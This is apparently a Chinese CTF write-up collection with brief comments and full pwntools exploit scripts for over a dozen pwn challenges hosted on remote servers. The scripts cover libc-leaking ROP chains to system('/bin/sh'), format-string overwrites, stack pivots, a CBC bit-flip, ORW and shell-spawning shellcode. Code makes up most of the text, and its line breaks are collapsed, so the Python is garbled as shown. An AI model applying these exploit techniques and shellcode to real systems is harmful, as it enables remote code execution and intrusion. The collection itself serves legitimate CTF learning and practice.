b'\x9c', b'\x9d', b'\x9e', b'\x9f', b'\xa0', b'\xa1', b'\xa2', b'\xa3', b'\xa4', b'\xa5', b'\xa6', b'\xa7', b'\xa8', b'\xa9', b'\xaa', b'\xab', b'\xac', b'\xad', b'\ae', b'\xaf', b'\xb0', b'\xb1', b'\xb2', b'\xb3', b'\xb4', b'\xb5', b'\xb6', b'\xb7', b'\xb8', b'\xb9', b'\xba', b'\xbb', b'\xbc', b'\xbd', b'\xbe', b'\xbf', b'\xc0', b'\xc1', b'\xc2', b'\xc3', b'\xc4', b'\xc5', b'\xc6', b'\xc7', b'\xc8', b'\xc9', b'\xca', b'\xcb', b'\xcc', b'\xcd', b'\xce', b'\xcf', b'\xd0', b'\xd1', b'\xd2', b'\xd3', b'\xd4', b'\xd5', b'\xd6', b'\xd7', b'\xd8', b'\xd9', b'\xda', b'\xdb', b'\xdc', b'\xdd', b'\xde', b'\xdf', b'\xe0', b'\xe1', b'\xe2', b'\xe3', b'\xe4', b'\xe5', b'\xe6', b'\xe7', b'\xe8', b'\xe9', b'\xea', b'\xeb', b'\xec', b'\xed', b'\xee', b'\xef', b'\xf0', b'\xf1', b'\xf2', b'\xf3', b'\xf4', b'\xf5', b'\xf6', b'\xf7', b'\xf8', b'\xf9', b'\xfa', b'\xfb', b'\xfc', b'\xfd', b'\xfe', b'\xff']for i in bytes_for:\# io = process("./pwn2.34")io = remote("nc1.ctfplus.cn", 17014)try:io.recvuntil(b'> \n')io.send(b'/bin/sh\x00')io.recvuntil(b'index:\n')io.sendline(b'88')io.sendline(i)io.recvuntil(b'index2:\n')\# gdb.attach(io, 'b *0x401158')io.sendline(b'59')io.sendline(b'cat flag')if b'{' in io.recv():io.interactive()else:io.close()continueexcept:io.close()continue
struct_one_byte
又让我以为是堆题,然后发现给了后门和泄漏,觉得大事肯定不简单
然后一看代码,太乱了,不想逆,直接调上了。。。
当然题目名字给了提示,直接能注意到结构体最后的0x40会覆盖下一结构体标志着编辑长度的size,那就好办了,直接写调用函数地址为system加控rdi就行了(别问为啥不写backdoor,纯粹想试试行不行,)
from pwn import *\# io = process("./struct")io = remote("nc1.ctfplus.cn", 11246)elf = ELF("./struct")libc = elf.libccontext(arch = 'amd64', os='linux', terminal=['tmux', 'new-window'])context.log_level = 'debug'dbg = lambda: (gdb.attach(io),pause())lg = lambda n,s: log.info('\033[1;1;20m%s: 0x%x <--\033[0m\033[1;3;20m %s \033[0m' % (str(n), eval(str(s)), s))io.recv()io.sendline(b'4')io.recvuntil(b'gift\naddr:')printf_addr = int(io.recv(14), 16)lg('printf_addr', printf_addr)libcbase = printf_addr - libc.symbols['printf']lg('libcbase', libcbase)puts_addr = libcbase + libc.symbols['puts']lg('puts_addr', puts_addr)system_addr = libcbase + libc.symbols['system']def choose(choice):io.sendlineafter(b'3. change player info:', str(choice).encode())def alloc(id, name, info, student=2):choose(1)io.sendlineafter(b'Index:', str(id).encode())if 2 == student:io.sendlineafter(b'>', str(2).encode())elif 1 == student:io.sendlineafter(b'>', str(1).encode())io.sendlineafter(b'name :', name)io.sendlineafter(b'info :', info)def edit(id, name):choose(3)io.sendlineafter(b'input index:', str(id).encode())io.sendafter(b'name :', name)def work(id):choose(2)io.sendlineafter(b'input index:', str(id).encode())alloc(1, b'/bin/sh\x00', b'/bin/sh\x00')alloc(0, b'0', b'0')\# alloc(1, b'1', b'1', 1)\# alloc(0xf, b'15', b'15')edit(1, b'/bin/sh\x00'*2 + p64(system_addr) + b'/bin/sh\x00'*2)\# gdb.attach(io)work(1)io.interactive()\# dbg()
stack_overflow
把栈地址甩脸上了,直接行动,要加个栈地址,到现在还不知道向buf写的判断是用来干嘛的
from pwn import *\# io = process("./pwn")io = remote("nc1.ctfplus.cn", 36068)context.terminal = ["tmux", "new-window"]context.log_level = "debug"elf = ELF("./pwn")libc = elf.libcio.recvuntil(b"give this gift:")\# gdb.attach(io)take = u64(io.recv(6).ljust(8, b"\x00"))print(hex(take))\# gdb.attach(io)io.recv()io.send(p64(take + 0x29))io.recv()io.send(b'\x00'*0x7)io.recv()payload = p64(0) * 0x4 + p64(0x4033C0 + 0x50) + p64(0x000000000040123f) + p64(elf.got['puts']) + p64(0) + p64(elf.plt['puts']) + p64(0x401350)\# gdb.attach(io)io.send(payload)puts_addr = u64(io.recv(6).ljust(8, b"\x00"))print(hex(puts_addr))libcbase = puts_addr - libc.symbols['puts']print(hex(libcbase))system_addr = libcbase + libc.symbols['system']print(hex(system_addr))binsh_addr = libcbase + next(libc.search(b"/bin/sh"))print(hex(binsh_addr))one_gadget = libcbase + 0xebc88print(hex(one_gadget))\# gdb.attach(io)payload = p64(0) * 0x4 + p64(0x4033C0 + 0x50) + p64(one_gadget)io.send(payload)io.interactive()
WhoIsAdmin
提示直接把考点讲了,觉得已经不能再简单了,都可以当例题了
数组溢出买下系统,然后用CBC翻转攻击的脚本转换明文,就可以直接用改系统名的溢出打正常ROP(决定拿来当例题给新生讲,嘻嘻)
from pwn import *from LibcSearcher import *\# io = process(['./ld-2.??.so','./'], env = {'LD_PRELOAD' : './libc-2.??.so'})\# io = process("./whoisadmin")io = remote('nc1.ctfplus.cn', 33679)elf = ELF("./whoisadmin")\# libc = ELF("./libc-2.??.so")libc = elf.libccontext(arch = 'amd64', os='linux', terminal=['tmux', 'new-window'])context.log_level = 'debug'dbg = lambda: (gdb.attach(io),pause())lg = lambda n,s: log.info('\033[1;1;20m%s: 0x%x <--\033[0m\033[1;3;20m %s \033[0m' % (str(n), eval(str(s)), s))from Crypto.Util.strxor import strxorimport binasciidef decrypt(string):\# 动态输入密文和目标明文块ciphertext_hex = string # 示例密文ciphertext = binascii.unhexlify(ciphertext_hex)\# 定义块大小(通常为16字节)BLOCK_SIZE = 16\# 确保密文长度足够长,至少包含两个块if len(ciphertext) < 2 * BLOCK_SIZE:raise ValueError("密文太短,至少需要包含两个块。")\# 分离前两块密文C_0 = ciphertext[:BLOCK_SIZE] # 第一块C_1 = ciphertext[BLOCK_SIZE:2*BLOCK_SIZE] # 第二块\# 定义已知的原始明文块和目标明文块original_plaintext = b"BinaryCryptoYYDS" # 原始明文前16字节target_plaintext = b"AdminAdminAdminA" # 目标明文前16字节\# 计算所需的异或调整量delta = strxor(original_plaintext, target_plaintext)\# 修改C_0,使得解密C_1时得到目标明文new_C_0 = strxor(C_0, delta)\# 组合新的密文,保持C_1不变modified_ciphertext = new_C_0 + C_1 + ciphertext[2*BLOCK_SIZE:] # 仅修改第一个块\# 输出结果print("原始密文: ", ciphertext_hex.decode())print("修改后的密文: ", binascii.hexlify(modified_ciphertext).decode())return binascii.hexlify(modified_ciphertext).decode()def choose(choice):io.sendlineafter(b'Your choice: >', str(choice).encode())def new_normal_count():choose(1)io.recvuntil(b'Your account authcode: ')return decrypt(io.recvuntil(b'\n', drop=True))def show_money():choose(3)def buy_max_accountLimit(number):choose(4)io.sendlineafter(b'Tell me when check is equal to how much, (check**17 mod 281443 == 222876) is satisfied???', str(1640).encode())io.sendlineafter(b'How many accounts do you want to add?', str(number).encode())def show_max_accountLimit():choose(5)def buy_system():choose(6)def try_to_login(name):choose(7)io.sendlineafter(b'Please Input your account authcode:', name)def change_system_name(new_system_name):choose(8)io.sendlineafter(b'Please input the new system name: ', new_system_name)buy_max_accountLimit(-100000)buy_system()attack = new_normal_count()try_to_login(attack)\# gdb.attach(io)pop_rdi = 0x0000000000402db3ret = 0x000000000040101apayload = b'A'*0x28 + p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x402C23)change_system_name(payload)puts_addr = u64(io.recv(6).ljust(8, b'\x00'))libc = LibcSearcher('puts', puts_addr)lg('puts_addr', puts_addr)libcbase = puts_addr - libc.dump('puts')lg('libcbase', libcbase)system = libcbase + libc.dump('system')lg('system_addr', system)binsh = libcbase + libc.dump('str_bin_sh')lg('bin_sh_addr', binsh)payload = b'A'*0x28 + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)change_system_name(payload)io.interactive()\# dbg()
stdout
蛮有意思,虽然我本来就知道设置缓冲区后write还是能够直接用fd正常工作,不过还是觉得给了提示,也可以当例题,再偷一道,哈哈
直接调试发现寄存器和返回地址残留修改后跳转到write前方就可以一次性泄漏出elf和libc的基址然后正常ROP,当时one_gadget死活打不通,找了师傅,还没找到题作者,直接换成system就出了,还是太懒了,哈哈
from pwn import *
# io = process(['./ld-2.??.so','./'], env = {'LD_PRELOAD' : './libc-2.??.so'})# io = process("./pwn")# io = remote('nc1.ctfplus.cn', 35132)elf = ELF("./pwn")# libc = ELF("./libc-2.??.so")libc = elf.libccontext(arch = 'amd64', os='linux', terminal=['tmux', 'new-window'])context.log_level = 'debug'dbg = lambda: (gdb.attach(io),pause())lg = lambda n,s: log.info('\033[1;1;20m%s: 0x%x <--\033[0m\033[1;3;20m %s \033[0m' % (str(n), eval(str(s)), s))# gdb.attach(io, 'b vuln')# shellcode = '''# syscall# '''# shellcode = asm(shellcode, arch='amd64')# payload = shellcode.ljust(0x38, b'\x00')# payload = b'\x0f\x05'# payload = payload.ljust(0x38, b'\x00')# payload = asm(shellcraft.amd64.linux.sh())# print(payload)# payload = b'A'*0x28while True:# io = process("./pwn")io = remote('nc1.ctfplus.cn', 35132)try:payload = b'A'*0x8# io.send(b'A'*(0x50-0x3d) + p64(0xbfa7b))io.send(payload)# io.sendline()io.recvuntil(b'???,out??')# io.sendline()# io.send(b'AAA')# io.send(b'A'*0x40 + b'\x00')# io.send(b'A'*0x40 + p64(0)*3 + b'\xfe\x8a\xeb')# io.send(b'A'*0x40 + p64(0) + b'\xfb\x53')# io.send(b'A'*0x40 + p64(0) + b'\x03\x54')# io.send(b'A'*0x40 + p64(0) + b'\xfc\x53')# io.send(b'A'*0x40 + p64(0) + b'\xd0\x80')io.send(b'A'*0x40 + p64(0) + b'\x78\x53')io.recvuntil(b'A'*0x40)io.recv(0x8)elfbase = u64(io.recv(6).ljust(8, b'\x00')) - 0x1382lg('elfbase', elfbase)pop_rdi = elfbase + 0x0000000000001403lg('pop_rdi', pop_rdi)ret = elfbase + 0x000000000000101alg('ret', ret)bss = elfbase + 0x5040lg('bss', bss)take = elfbase + 0x1310lg('take', take)pop_all = elfbase + 0x00000000000013fclg('pop_all', pop_all)io.recv(0xa)libcbase = u64(io.recv(6).ljust(8, b'\x00')) - 0x24083lg('libcbase', libcbase)system = libcbase + libc.symbols['system']lg('system', system)binsh = libcbase + next(libc.search(b'/bin/sh'))lg('binsh', binsh)onegadget = libcbase + 0xe3afelg('onegadget', onegadget)io.recv()\# gdb.attach(io)# payload = b'A'*0x48 + p64(onegadget)# payload = b'A'*0x48 + p64(pop_rdi) + p64(binsh) + p64(system)# io.send(payload)payload = b'A'*(0x40) + p64(bss + 0x40) + p64(take)io.send(payload)payload = b'B'*(0x40) + p64(bss + 0x40+0x40) + p64(take)io.send(payload)payload = p64(bss + 0x40+0x40 + 0x10) + p64(take)io.send(payload)# gdb.attach(io)payload = p64(ret)*2 + p64(pop_rdi) + p64(binsh) + p64(system)# payload = b'A'*0x8 + p64(pop_all) + p64(0)*4 + p64(onegadget)io.send(payload)io.interactive()except:io.close()continue
简单的签到
没啥好说的,甚至不用会pwn
from pwn import *\# io = process("./main")io = remote("nc1.ctfplus.cn", 35889)io.recv()io.recv()io.sendline()calc = io.recvuntil(b'=', drop=True)take = eval(calc)io.sendline(str(take).encode())io.interactive()
这里的空间有点小啊
read接栈迁的板子题了,调下长度和bss就能打通
from pwn import *\# io = process("./main")io = remote("nc1.ctfplus.cn", 16336)context.terminal = ["tmux", "new-window"]context.log_level = "debug"elf = ELF('./main')libc = elf.libcio.recvuntil(b'[1] Write something\n[2] Give you a flag\n>>')io.sendline(b'1')io.recvuntil(b'Now you can write something')bss = 0x601020 + 0x100payload = b'A'*0x30 + p64(bss) + p64(0x40071C)io.send(payload)payload = b'B'*0x30 + p64(bss + 0x30) + p64(0x40071C)io.send(payload)payload = p64(bss + 0x30 + 0x10) + p64(0x0000000000400853) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x40071C)io.send(payload)io.recv(1)libcbase = u64(io.recv(6).ljust(8, b'\x00')) - libc.sym['puts']print(hex(libcbase))system = libcbase + libc.sym['system']print(hex(system))og = libcbase + 0x4f302payload = b'A'*0x20 + p64(og) #p64(ret)+p64(rdi)+p64(bin_sh)+p64(system) #5io.send(payload)io.interactive()
真的能走到后门吗
具体通过泄漏能够拿到程序自己和保护给的两个canary,然后回去重新用printf写一位返回地址到后门就行了
from pwn import *\# io = process("./fmt")io = remote("nc1.ctfplus.cn", 18593)context.terminal = ['tmux', 'new-window']context.log_level = 'debug'elf = ELF('./fmt')libc = elf.libcio.recv()io.send(p64(0x404018))io.recv()payload = b'%' + str(0x127D).encode() + b'c%16$hn'payload = b'%14$p%17$p'payload = payload.ljust(0x10, b'\x00')\# gdb.attach(io)\# io.send(b'KKKKKKKK')io.send(payload)\# io.send(payload)\# io.recvline()io.recvuntil(b'your name:\n')take = int(io.recv(14), 16)print(hex(take))canary = int(io.recv(18), 16)print(hex(canary))\# gdb.attach(io)io.recvuntil(b'What do you want to say?\n')payload = b'A'*0x38 + p64(canary) + p64(take) + b'\x9D' # p64(0x40127D) # p64(0x5D)\# payload = payload.ljust(0x70, b'A')io.send(payload)\# gdb.attach(io, 'b vuln')io.recv()io.send(p64(take - 0x27))\# io.send(b'\x66\x66\x66')payload = b'%' + str(0x12).encode() + b'c%16$hhn'# + b'%' + str(0x7D - 0x12).encode() + b'c%16$hhn'print(hex(len(payload)))\# gdb.attach(io)io.send(payload)io.recvuntil(b'What do you want to say?\n')payload = b'A'*0x38 + p64(canary) + p64(take - 0x10) + b'\x85' # p64(0x40127D) # p64(0x5D)\# payload = payload.ljust(0x70, b'A')\# gdb.attach(io)io.send(payload)io.interactive()
ez_fmt
确实简单,我当printf打了。。。
Scanf更简单,只要知道偏移就能够任意写任意类型了
from pwn import *\# io = process("./pwn")io = remote("nc1.ctfplus.cn", 25743)elf = ELF("./pwn")libc = elf.libccontext(arch = 'amd64', os='linux', terminal=['tmux', 'new-window'])context.log_level = 'debug'\# io.recv()\# payload = b'0x18'\# # gdb.attach(io, 'b *0x55555555532e')\# io.sendline(payload)\# main = u64(io.recv(6).ljust(8, b'\x00')) - 53\# log.info(f"Main addr: {hex(main)}")\# elfbase = main - elf.symbols['main']\# log.info(f"Elf base: {hex(elfbase)}")\# count_addr = elfbase + 0x4010\# log.info(f"Count addr: {hex(count_addr)}")io.recv()payload = b'0x9'\# gdb.attach(io, 'b *0x55555555532e')io.sendline(payload)canary = u64(io.recv(7).rjust(8, b'\x00'))log.info(f"Canary: {hex(canary)}")stack_addr = u64(io.recv(6).ljust(8, b'\x00'))log.info(f"Stack addr: {hex(stack_addr)}")io.recv()payload = b'0x38'\# gdb.attach(io, 'b *0x55555555533e')io.sendline(payload)libc_start_main_addr = u64(io.recv(6).ljust(8, b'\x00')) - 243log.info(f"Libc start main addr: {hex(libc_start_main_addr)}")libcbase = libc_start_main_addr - libc.symbols['__libc_start_main']log.info(f"Libc base: {hex(libcbase)}")system_addr = libcbase + libc.symbols['system']log.info(f"System addr: {hex(system_addr)}")binsh_addr = libcbase + next(libc.search(b"/bin/sh"))log.info(f"Binsh addr: {hex(binsh_addr)}")one_gadget_addr = libcbase + 0xe3b01log.info(f"One gadget addr: {hex(one_gadget_addr)}")\# high_sys = (one_gadget_addr >> 16) & 0xff # 提取前两位one_gadget = one_gadget_addr & 0xffffffff # 提取后四位log.info(f"one_gadget addr: {hex(one_gadget)}")io.recv()payload = p64(stack_addr - 0x18) + p64(0) + b'%6$d'payload = payload.ljust(0x20, b'\x00')\# payload = b'A'*8 + b'B'*0x8print(hex(len(payload)))\# gdb.attach(io)io.send(payload)io.sendline(str(one_gadget).encode())io.interactive()
hard_orw
对新生可能有点不友好,但是也就是要转一下模式有32位的open,然后用64位的sendfile就行了,其它的没啥难点,搓一下就出了
from pwn import *\# io = process(['./ld-2.??.so','./'], env = {'LD_PRELOAD' : './libc-2.??.so'})io = process("./sandbox")\# io = remote('nc1.ctfplus.cn', 37876)elf = ELF("./sandbox")\# libc = ELF("./libc-2.??.so")libc = elf.libccontext(arch = 'amd64', os='linux', terminal=['tmux', 'new-window'])context.log_level = 'debug'dbg = lambda: (gdb.attach(io),pause())lg = lambda n,s: log.info('\033[1;1;20m%s: 0x%x <--\033[0m\033[1;3;20m %s \033[0m' % (str(n), eval(str(s)), s))\# gdb.attach(io)io.recvuntil(b'Please input your id')io.send(b'\x00\x00\x00\x00')io.recvuntil(b'Please input your age')io.send(b'\xf0\x15\x40\x00')io.recv()\# push 0x67616c66\# push 0x2\# pop rax\# mov rdi,rsp\# xor rsi,rsi\# syscall \# mov rsp, 0x405100\# push 0x23\# add rsi, 9\# push rsi\# retfqshellcode = '''mov rsp, 0x405100push 0x23add rsi, 0x10push rsiretfq'''shellcode1 = '''push 0x67616c66add esi, 0xecmov ebx,espxor ecx,ecxxor edx,edxmov eax,5int 0x80push 0x33sub esi, 0x100add esi, 0x39push esiretf'''shellcode2 = '''mov rdi, 1mov rsi, 3push 0mov rdx, rspmov r10, 0x100push SYS_sendfilepop raxsyscall'''shellcode = asm(shellcode)shellcode1 = asm(shellcode1, arch='i386', bits=32)shellcode2 = asm(shellcode2)shellcode += shellcode1shellcode += shellcode2shellcode = shellcode.ljust(0x1000, b'\x00')\# payload = b'\xe8\xfc\xf0\xff\x00'\# payload = b'\xE9\xfb\xf0\xff\xff'\# payload = b'H\x83\xed\x18\xc3'\# payload = b'\xc3'payload = b'\xffU\xf0'\# gdb.attach(io)io.recvuntil(b'Perhaps you should learn "ret" and "fd" first')io.send(payload)\# pause()\# gdb.attach(io)io.send(shellcode)io.interactive()
你会栈溢出吗
直接到后门
from pwn import *# io = process("./stackover")io = remote("nc1.ctfplus.cn", 17766)io.recv()payload = b'A'*(0xC + 0x8) + p64(0x40073D)io.sendline(payload)io.interactive()
orz?orw!
jmp rsp到最后才想起来,打了半天leave_ret然后都报错。。。
此外就是神奇的复现的时候本地打不通了。。。
最大的问题其实是不能用\x00来泄漏canary又要用来当作read的长度参数,但是太长read是不会成功执行的,最开始本地调试到0x66可以才选的,并且远端也成功了,结果本地复现不成功,不然也想当例题的,等wp了
from pwn import *io = process("./orw")\# io = remote("nc1.ctfplus.cn", 39115)\# elf = ELF("./orw")\# libc = elf.libccontext(arch = 'amd64', os='linux', terminal=['tmux', 'new-window'])context.log_level = 'debug'io.recvuntil(b'please input your size:')shellcode = '''push 0x67616c66push 0x2pop raxmov rdi,rspxor rsi,rsisyscall mov rdi, 1mov rsi, 3push 0mov rdx, rspmov r10, 0x100push SYS_sendfilepop raxsyscall'''shellcode = asm(shellcode)print(len(shellcode))\# gdb.attach(io)io.sendline(str(4).encode())io.recvuntil(b'Please input your name:')\# payload = b'\x66'*0xapayload = b'\x66'*(0xa)\# gdb.attach(io, 'b *0x401382')io.send(payload)\# io.recvuntil(b'\x66'*0xa)io.recvuntil(payload)canary = u64(io.recv(7).rjust(8, b'\x00'))log.info(f"Canary: {hex(canary)}")\# stack_addr = u64(io.recv(6).ljust(8, b'\x00'))\# log.info(f"Stack addr: {hex(stack_addr)}")io.recvuntil(b'give me your id')payload = b'\x00'*0x4 + p64(canary) + p64(0x4040a0+0x30) + p64(0x4012A7) + shellcodegdb.attach(io, 'b *0x4013c1')io.send(payload)io.interactive()
ez_shellcode
写完shellcode跳转过去
from pwn import *\# io = process("./shellcode")io = remote("nc1.ctfplus.cn", 27071)context.terminal = ['tmux', 'new-window']context.log_level = 'debug'context.arch = 'amd64'payload = asm(shellcraft.sh())\# payload = b'KKKK'\# gdb.attach(io)io.sendafter(b'do you know shellcode?', payload)\# gdb.attach(io)\# io.sendline(b'A'*0x20 + p64(0x0000000000401463) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x4013E0))io.sendlineafter(b'please input your name:', b'A'*0x20 + p64(0x401256))io.interactive()
学校的烂电梯plus
看注释也能发现,哈哈爆破出来的,想过要住栈上打一个函数的返回,但是没想到打谁,爆破出了回去调发现是read,后来的pro里把栈顶的去掉了就寄了。。。
from pwn import *io = process("./pwn")\# io = remote("nc1.ctfplus.cn", 34720)elf = ELF("./pwn")libc = elf.libccontext(arch = 'amd64', os='linux', terminal=['tmux', 'new-window'])context.log_level = 'debug'dbg = lambda: (gdb.attach(io),pause())lg = lambda n,s: log.info('\033[1;1;20m%s: 0x%x <--\033[0m\033[1;3;20m %s \033[0m' % (str(n), eval(str(s)), s))print(elf.plt['puts'])\# io.recv()\# gdb.attach(io)gdb.attach(io, 'b *0x40134d')\# gdb.attach(io, 'b *0x401389')\# gdb.attach(io, 'b *0x4013cb')\# io.sendline(str(-0x20).encode())\# io.sendline(str(-0xc).encode())\# io.sendline(str(-0).encode())\# io.sendline(str(-0x2).encode())\# io.sendline(str(-0x4).encode())\# io.sendline(str(-0x6).encode())\# io.sendline(str(-0x8).encode())\# io.sendline(str(-0xa).encode())\# io.sendline(str(-0xc).encode())\# io.sendline(str(-0xe).encode())\# io.sendline(str(-0x12).encode())\# io.sendline(str(-0x20).encode())\# io.sendlineafter(b'how many floors do you want to go?', str(-0x22).encode())\# io.sendline(str(0x2).encode())\# io.sendlineafter(b'how many floors do you want to go?', str(2).encode())\# io.sendlineafter(b'how many floors do you want to go?', str(-2).encode())io.sendlineafter(b'how many floors do you want to go?', str(-4).encode())\# io.sendlineafter(b'how many floors do you want to go?', str(2).encode())\# io.sendlineafter(b'how many floors do you want to go?', str(2).encode())\# io.sendlineafter(b'how many floors do you want to go?', str(2).encode())\# io.sendlineafter(b'how many floors do you want to go?', str(2).encode())\# io.sendlineafter(b'how many floors do you want to go?', str(2).encode())\# io.recv()\# io.recv()import struct\# target_value = 0x4013BAtarget_value = 0double_value = struct.unpack('d', struct.pack('Q', target_value))[0]io.sendlineafter(b'which one you want to call?', str(double_value).encode())pop_rdi = 0x000000000040127fpayload = p64(0) + p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.symbols['main'])io.sendlineafter(b'you have be saved, please send a message to thanks for the man!!', payload)io.recv()puts_addr = u64(io.recv(6).ljust(8, b'\x00'))lg('puts_addr', puts_addr)libcbase = puts_addr - libc.symbols['puts']lg('libcbase', libcbase)system_addr = libcbase + libc.symbols['system']lg('system_addr', system_addr)str_bin_sh = libcbase + next(libc.search(b'/bin/sh'))lg('str_bin_sh', str_bin_sh)io.sendlineafter(b'how many floors do you want to go?', str(-4).encode())\# target_value = 0x4013BAtarget_value = 0double_value = struct.unpack('d', struct.pack('Q', target_value))[0]io.sendlineafter(b'which one you want to call?', str(double_value).encode())ret = 0x000000000040101apayload = p64(0) + p64(ret) + p64(pop_rdi) + p64(str_bin_sh) + p64(system_addr) # + p64(elf.symbols['main'])io.sendlineafter(b'you have be saved, please send a message to thanks for the man!!', payload)\# io.sendlineafter(b'how many floors do you want to go?', str(-0x2).encode())\# io.recv()\# io.sendline(str(-0xc).encode())\# io.recv()\# io.sendline(str(2.0747565e-317).encode())\# io.recv()\# io.sendline(b'A'*0x8)\# # io.sendline(str(2.0747585e-317).encode())io.interactive()
su~~~~
没懂题目名叫su干嘛,直接ROP就出了
from pwn import *\# io = process("./csu")io = remote("nc1.ctfplus.cn", 29975)context(arch='amd64', os='linux')context.log_level = "debug"context.terminal = ['tmux', 'new-window']elf = ELF("./csu")libc = elf.libcio.recv()io.sendline(b'1')payload = b'A'*0x88 + p64(0x0000000000400903) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.sym['main'])io.sendline(payload)puts_addr = u64(io.recv(6).ljust(8, b'\x00'))print(hex(puts_addr))libcbase = puts_addr - libc.symbols['puts']print(hex(libcbase))system = libcbase + libc.symbols['system']print(hex(system))str_bin_sh = libcbase + next(libc.search(b'/bin/sh'))print(hex(str_bin_sh))io.recv()io.sendline(b'1')payload = b'A'*0x88 + p64(0x00000000004005d6) + p64(0x0000000000400903) + p64(str_bin_sh) + p64(system)io.sendline(payload)io.interactive()